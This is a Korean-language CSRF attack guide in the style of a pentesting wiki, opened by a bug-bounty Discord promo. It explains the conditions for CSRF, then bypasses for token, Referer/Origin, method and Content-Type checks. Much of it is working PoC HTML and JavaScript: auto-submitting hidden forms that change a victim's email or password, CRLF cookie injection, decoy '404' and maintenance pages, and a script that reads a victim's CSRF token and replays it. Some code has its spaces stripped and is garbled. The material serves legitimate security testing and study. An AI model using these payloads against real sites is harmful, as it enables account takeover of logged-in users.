Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
크로스 사이트 요청 위조 (CSRF) 설명
**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 악용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
CSRF 공격을 위한 전제 조건
CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합니다:
가치 있는 행동 식별: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같은 악용할 가치가 있는 행동을 찾아야 합니다.
세션 관리: 사용자의 세션은 쿠키 또는 HTTP 기본 인증 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
예측 불가능한 매개변수의 부재: 요청에는 예측 불가능한 매개변수가 포함되어서는 안 되며, 이는 공격을 방해할 수 있습니다.
빠른 점검
Burp에서 요청을 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 Copy as fetch를 클릭하여 요청을 확인할 수 있습니다:
교차 출처 리소스 공유: 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 그렇습니다. CORS 우회에 대해 알아보기.
사용자 확인: 사용자의 비밀번호를 요청하거나 캡차를 해결하도록 요구하여 사용자의 의도를 확인할 수 있습니다.
참조자 또는 출처 헤더 확인: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 오는지 확인하는 데 도움이 될 수 있습니다. 그러나 URL을 신중하게 작성하면 잘못 구현된 검사를 우회할 수 있습니다, 예를 들어:
http://mal.net?orig=http://example.com 사용 (URL이 신뢰할 수 있는 URL로 끝남)
http://example.com.mal.net 사용 (URL이 신뢰할 수 있는 URL로 시작함)
매개변수 이름 수정: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
CSRF 토큰: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.
이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
방어 우회
POST에서 GET으로
악용하고자 하는 양식이 CSRF 토큰과 함께 POST 요청을 보내도록 준비되어 있을 수 있지만, GET 요청도 유효한지 확인하고 GET 요청을 보낼 때 CSRF 토큰이 여전히 검증되는지 확인해야 합니다.
토큰 부족
애플리케이션은 토큰이 존재할 때 검증하는 메커니즘을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 토큰을 전달하는 매개변수를 제거하여 이를 악용할 수 있으며, 이는 CSRF 공격을 효과적으로 수행할 수 있게 합니다.
CSRF 토큰이 사용자 세션에 연결되지 않음
CSRF 토큰이 사용자 세션에 연결되지 않는 애플리케이션은 상당한 보안 위험을 초래합니다. 이러한 시스템은 각 토큰이 시작 세션에 바인딩되는 것을 보장하는 대신 전역 풀에 대해 토큰을 검증합니다.
공격자가 이를 악용하는 방법은 다음과 같습니다:
자신의 계정으로 인증합니다.
전역 풀에서 유효한 CSRF 토큰을 얻습니다.
이 토큰을 사용하여 피해자에 대한 CSRF 공격을 수행합니다.
이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 부적절한 토큰 검증 메커니즘을 악용합니다.
메서드 우회
요청이 "이상한" 메서드를 사용하고 있다면, 메서드오버라이드 기능이 작동하는지 확인하십시오. 예를 들어, PUT 메서드를 사용하고 있다면 POST 메서드를 사용하여 보낼 수 있습니다: https://example.com/my/dear/api/val/num?_method=PUT
이것은 POST 요청 내에서 _method 매개변수를 보내거나헤더를 사용하여도 작동할 수 있습니다:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
사용자 정의 헤더 토큰 우회
요청이 CSRF 보호 방법으로 토큰이 포함된 사용자 정의 헤더를 추가하고 있다면:
사용자 정의 토큰과 헤더 없이 요청을 테스트합니다.
정확한 길이지만 다른 토큰으로 요청을 테스트합니다.
CSRF 토큰이 쿠키로 검증됨
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
아래는 공격이 어떻게 구성될 수 있는지에 대한 예입니다:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
csrf 토큰이 세션 쿠키와 관련되어 있다면 이 공격은 작동하지 않습니다. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
Content-Type 변경
이에 따르면, POST 메서드를 사용하여 사전 비행 요청을 피하기 위해 허용되는 Content-Type 값은 다음과 같습니다:
application/x-www-form-urlencoded
multipart/form-data
text/plain
그러나 사용된 Content-Type에 따라 서버의 로직이 다를 수 있으므로 언급된 값과 application/json, text/xml, **application/xml**와 같은 다른 값도 시도해 보아야 합니다.
POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 Content-Type: application/json을 직접 사용할 수 없습니다. 마찬가지로, XMLHttpRequest를 사용하여 이 콘텐츠 유형을 전송하면 preflight 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다:
대체 콘텐츠 유형 사용: 양식에서 enctype="text/plain"을 설정하여 Content-Type: text/plain 또는 Content-Type: application/x-www-form-urlencoded를 사용합니다. 이 접근 방식은 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.
콘텐츠 유형 수정: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 preflight 요청을 피하려면, Content-Type: text/plain; application/json으로 데이터를 전송할 수 있습니다. 이는 preflight 요청을 트리거하지 않지만, 서버가 application/json을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다.
SWF 플래시 파일 활용: 덜 일반적이지만 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 심층적인 이해를 원하시면 이 게시물을 참조하십시오.
Referrer / Origin 체크 우회
Referrer 헤더 피하기
응용 프로그램은 'Referer' 헤더가 있을 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 않도록 하려면 다음 HTML 메타 태그를 사용할 수 있습니다:
<metaname="referrer"content="never">
이것은 'Referer' 헤더가 생략되도록 하여 일부 애플리케이션에서 유효성 검사 체크를 우회할 수 있습니다.
Referrer가 매개변수 내에서 전송할 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
HEAD 메서드 우회
이 CTF 작성글의 첫 번째 부분에서는 Oak의 소스 코드가 HEAD 요청을 GET 요청으로 처리하도록 설정되어 있으며 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다. HEAD reqs를 처리하는 특정 핸들러 대신, 단순히 GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다.
따라서 GET 요청이 제한되고 있다면, GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다.
익스플로잇 예시
CSRF 토큰 유출
CSRF 토큰이 방어 수단으로 사용되고 있다면, XSS 취약점이나 Dangling Markup 취약점을 악용하여 유출을 시도할 수 있습니다.
HTML 태그를 사용한 GET
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
폼 POST 요청
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
iframe을 통한 Form POST 요청
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST 요청
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRF 토큰 훔치기 및 POST 요청 전송
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();